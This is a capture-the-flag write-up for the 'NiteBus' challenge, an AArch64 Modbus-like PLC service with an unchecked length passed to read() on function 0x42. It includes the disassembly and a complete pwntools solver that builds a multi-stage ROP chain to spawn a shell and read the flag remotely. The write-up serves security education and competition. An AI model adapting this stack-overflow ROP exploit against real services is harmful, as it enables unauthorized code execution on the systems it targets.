//NiteBus PWN
>TL;DR
A custom Modbus-like AArch64 service implements function 0x42 (Upload Control Program). The upload handler trusts a 16-bit length from the packet and calls read(0, stack_buf, length) into a stack buffer at sp+0x20, giving a clean stack overflow. The binary is static and no PIE, so we can build an AArch64 ROP chain to execute a direct syscall and execve("/bin/sh", 0, 0). For remote, the solver runs non-interactively and prints the flag.
Remote endpoint:
ncat --ssl nitebus.chals.nitectf25.live 1337
>Files
nitebus— challenge binary (AArch64, static)solve_local.py— full exploit (local + remote)
>Recon
Architecture / protections
$ file ./nitebus
./nitebus: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically linked, ... with debug_info, not stripped
$ checksec --file=./nitebus
[*] './nitebus'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
Service surface
Running locally under qemu shows the supported function codes:
$ timeout 1s qemu-aarch64 ./nitebus | head -n 60
_ _ ___ _____ ___ ___ _ _ ___
| \\| |_ _|_ _| __| _ ) | | / __|
| .` || | | | | _|| _ \\ |_| \\__ \\
|_|\\_|___| |_| |___|___/\\___/|___/
[+] PLC initialized successfully
[+] Device ID: PLC-001-FACTORY-MAIN
[+] nitebus slave address: 0x01
[*] nitebus server listening...
[*] Supported function codes:
0x01 - Read Coils
0x03 - Read Holding Registers
0x06 - Write Single Register
0x08 - Diagnostics
0x42 - Upload Control Program
[*] Waiting for nitebus packet...
Key symbol addresses:
$ nm -n ./nitebus | egrep ' upload_control_program$| parse_nitebus_packet$| nitebus_server$'
00000000004007f8 T upload_control_program
00000000004008a8 T parse_nitebus_packet
0000000000400a44 T nitebus_server
>Protocol (what we send)
The server reads a fixed 4-byte header first, then dispatches based on the function code.
Minimal packet format used by the exploit:
- byte 0:
slave_id(we use0x01) - byte 1:
function(we use0x42) - bytes 2–3:
length(little-endian 16-bit)
Then the service reads length bytes as the “control program” payload.
>Vulnerability
The 0x42 handler (upload_control_program) loads a 16-bit length from the packet and later passes it as the third argument to read() while the destination buffer is a stack region at sp+0x20.
Relevant disassembly (first half: length extraction):
00000000004007f8 <upload_control_program>:
4007f8: a9b57bfd stp x29, x30, [sp, #-176]!
4007fc: 910003fd mov x29, sp
400800: f9000fe0 str x0, [sp, #24]
400804: f9400fe0 ldr x0, [sp, #24]
400808: 79400400 ldrh w0, [x0, #2] ; length from packet
40080c: 79015fe0 strh w0, [sp, #174]
...
Second half (the unsafe read()):
40084c: 79415fe1 ldrh w1, [sp, #174] ; w1 = length
400850: 910083e0 add x0, sp, #0x20 ; x0 = stack buffer
400854: aa0103e2 mov x2, x1 ; x2 = length
400858: aa0003e1 mov x1, x0 ; x1 = buf
40085c: 52800000 mov w0, #0 ; fd = 0
400860: 94005970 bl 416e20 <__libc_read> ; read(0, sp+0x20, length)
There is no bounds check ensuring length fits the stack buffer, so we can overwrite saved return addresses and control execution.
>Exploit strategy
Constraints and opportunities:
- AArch64 target (ARM64)
- NX enabled → no injected shellcode
- no PIE + static → stable absolute gadget addresses and strings
Approach:
- Trigger function
0x42and provide a largelength. - Overflow the stack to control the saved LR and pivot into an AArch64 ROP chain.
- Use a small set of static gadgets to set up registers and invoke a syscall trampoline (
svc #0; ret). - Call
execve("/bin/sh", 0, 0)withx8 = 221(AArch64SYS_execve).
Remote mode is non-interactive: it runs cat on likely flag paths and regex-extracts either SECCON{...} or nite{...}.
>Local run
$ timeout 5s python3 ./solve_local.py | head -n 60
[*] payload size: 736 bytes
[+] Control program received (736 bytes)
[+] Bro has exploited me using a control program (≧⌓≦)
PWNED
uid=1000(noigel) gid=1000(noigel) groups=...
>Remote run
$ python3 ./solve_local.py --remote nitebus.chals.nitectf25.live 1337
[*] payload size: 736 bytes
nite{th3_wh33l5_0n_th3_n1tbu5_g0_up_&_d0wn_4ll_thru_th3_t0wn}
>Full solver code
Below is the full exploit used for both local and remote.
#!/usr/bin/env python3
from pwn import *
import argparse
import re
context.clear(arch="aarch64", os="linux", endian="little")
context.log_level = "info"
BIN = "./nitebus"
QEMU = "qemu-aarch64"
# Gadgets / code pointers (no PIE)
G_X16_BR = 0x426198
F_SET_X1_FROM_X0 = 0x40A860 # _IO_doallocbuf: mov x1,x0; ldr x0,[x0,#56]; cbz x0,...; ret
F_SET_X16_FROM_X0 = 0x44B834 # __aarch64_swp8_acq+0x14: mov x16,x0; ldaxr/stxr loop; ret
G_MEGA = 0x43FF58 # loads x0-x9,x17,x30 from stack; br x16
G_SVC_RET = 0x40CB90 # svc #0 ; ret
# Useful fixed addresses
ADDR__BINSH = 0x490040 # computed from file offset 0x80040 in 2nd LOAD seg
ADDR__STDOUT_FILE = 0x490228 # _IO_2_1_stdout_
SYS_execve = 221
def p64u(x: int) -> bytes:
return p64(x & 0xFFFFFFFFFFFFFFFF)
def build_x16_br_frame(*, next_pc: int, x16_target: int, x0_val: int) -> bytes:
"""Build the 0xa0-byte stack frame consumed by gadget at 0x426198.
On entry, SP must point to the start of this frame.
Gadget sets x2/x3/x4=0, loads x16 and x0 from [sp+0x68], then ldp x29,x30,[sp],#0xa0 and br x16.
The called code returns to x30 (which we set here).
"""
frame = bytearray(b"\\x00" * 0xA0)
# ldp x29, x30, [sp], #0xa0
frame[0x00:0x08] = p64u(0x0) # x29
frame[0x08:0x10] = p64u(next_pc) # x30
# ldp x16, x0, [sp, #0x68]
frame[0x68:0x70] = p64u(x16_target)
frame[0x70:0x78] = p64u(x0_val)
# ldp w7, w6, [sp, #0x88]
frame[0x88:0x8C] = p32(0)
frame[0x8C:0x90] = p32(0)
return bytes(frame)
def build_mega_execve_frame(*, x0_path: int) -> bytes:
"""Build the 0xe0-byte stack frame consumed by mega gadget at 0x43ff58.
Layout (relative to SP on entry):
[0x00] x8 (syscall)
[0x08] x9
[0x10] x6, x7
[0x20] x4, x5
[0x30] x2, x3
[0x40] x0, x1
...
[0xD0] x17, x30
Mega gadget ends with br x16, so x16 must already be set to G_SVC_RET.
"""
frame = bytearray(b"\\x00" * 0xE0)
# x8/x9 at [sp]
frame[0x00:0x08] = p64u(SYS_execve)
frame[0x08:0x10] = p64u(0)
# x6/x7 (unused)
frame[0x10:0x18] = p64u(0)
frame[0x18:0x20] = p64u(0)
# x4/x5 (unused)
frame[0x20:0x28] = p64u(0)
frame[0x28:0x30] = p64u(0)
# x2/x3
frame[0x30:0x38] = p64u(0)
frame[0x38:0x40] = p64u(0)
# x0/x1
frame[0x40:0x48] = p64u(x0_path)
frame[0x48:0x50] = p64u(0)
# x17/x30 after the big stack skip
frame[0xD0:0xD8] = p64u(0)
frame[0xD8:0xE0] = p64u(G_MEGA) # if execve fails and returns, loop
return bytes(frame)
def build_payload() -> bytes:
offset_to_parse_lr = 152
offset_to_server_sp = 192
stage1_off = offset_to_server_sp
stage2_off = offset_to_server_sp + 0xA0
stage3_off = offset_to_server_sp + 0x140
stage1 = build_x16_br_frame(next_pc=G_X16_BR, x16_target=F_SET_X1_FROM_X0, x0_val=ADDR__STDOUT_FILE)
stage2 = build_x16_br_frame(next_pc=G_MEGA, x16_target=F_SET_X16_FROM_X0, x0_val=G_SVC_RET)
stage3 = build_mega_execve_frame(x0_path=ADDR__BINSH)
total_len = stage3_off + len(stage3)
payload = bytearray(b"B" * total_len)
# overwrite parse_nitebus_packet saved LR so it returns into our first stage gadget
payload[offset_to_parse_lr:offset_to_parse_lr + 8] = p64u(G_X16_BR)
# lay out staged frames at the server's stack pointer
payload[stage1_off:stage1_off + len(stage1)] = stage1
payload[stage2_off:stage2_off + len(stage2)] = stage2
payload[stage3_off:stage3_off + len(stage3)] = stage3
return bytes(payload)
def build_io(args: argparse.Namespace):
if args.remote:
host, port = args.remote
return remote(host, int(port), ssl=True, sni=host)
return process([QEMU, BIN])
def main() -> None:
ap = argparse.ArgumentParser(description="NiteBus exploit (local first, then remote)")
ap.add_argument(
"--remote",
nargs=2,
metavar=("HOST", "PORT"),
help="Exploit the remote service over SSL",
)
args = ap.parse_args()
payload = build_payload()
log.info(f"payload size: {len(payload)} bytes")
# First read (nitebus_server) must only receive 4 bytes, else upload read blocks.
hdr = bytes([0x01, 0x42]) + p16(len(payload))
io = build_io(args)
# Wait for server loop (remote banner may vary slightly)
try:
io.recvuntil(b"Waiting for nitebus packet", timeout=2.0)
io.recvuntil(b"...\\n", timeout=2.0)
except EOFError:
raise
except Exception:
io.recvrepeat(0.5)
io.send(hdr)
# The binary prints a prompt before reading the program bytes.
# We don't rely on exact wording; just give it a moment.
io.recvrepeat(0.2)
io.send(payload)
if args.remote:
# Non-interactive remote: try common flag paths and extract the flag token.
cmd = (
b"(cat /flag || cat /root/flag || cat ./flag || cat ./flag.txt || cat ./FLAG || cat ./SECCON* 2>/dev/null)\\n"
)
io.send(cmd)
data = io.recvrepeat(2.0)
m = re.search(rb"SECCON\\{[^}]+\\}", data)
if not m:
m = re.search(rb"nite\\{[^}]+\\}", data)
if not m:
# One more read window in case output is delayed.
data += io.recvrepeat(2.0)
m = re.search(rb"SECCON\\{[^}]+\\}", data) or re.search(rb"nite\\{[^}]+\\}", data)
if m:
print(m.group(0).decode())
else:
print(data.decode(errors="replace"))
raise SystemExit("[-] Flag not found in output")
io.close()
return
# Local: keep interactive for debugging.
io.sendline(b"echo PWNED && id")
out = io.recvrepeat(1.0)
print(out.decode(errors="replace"))
io.interactive()
if __name__ == "__main__":
main()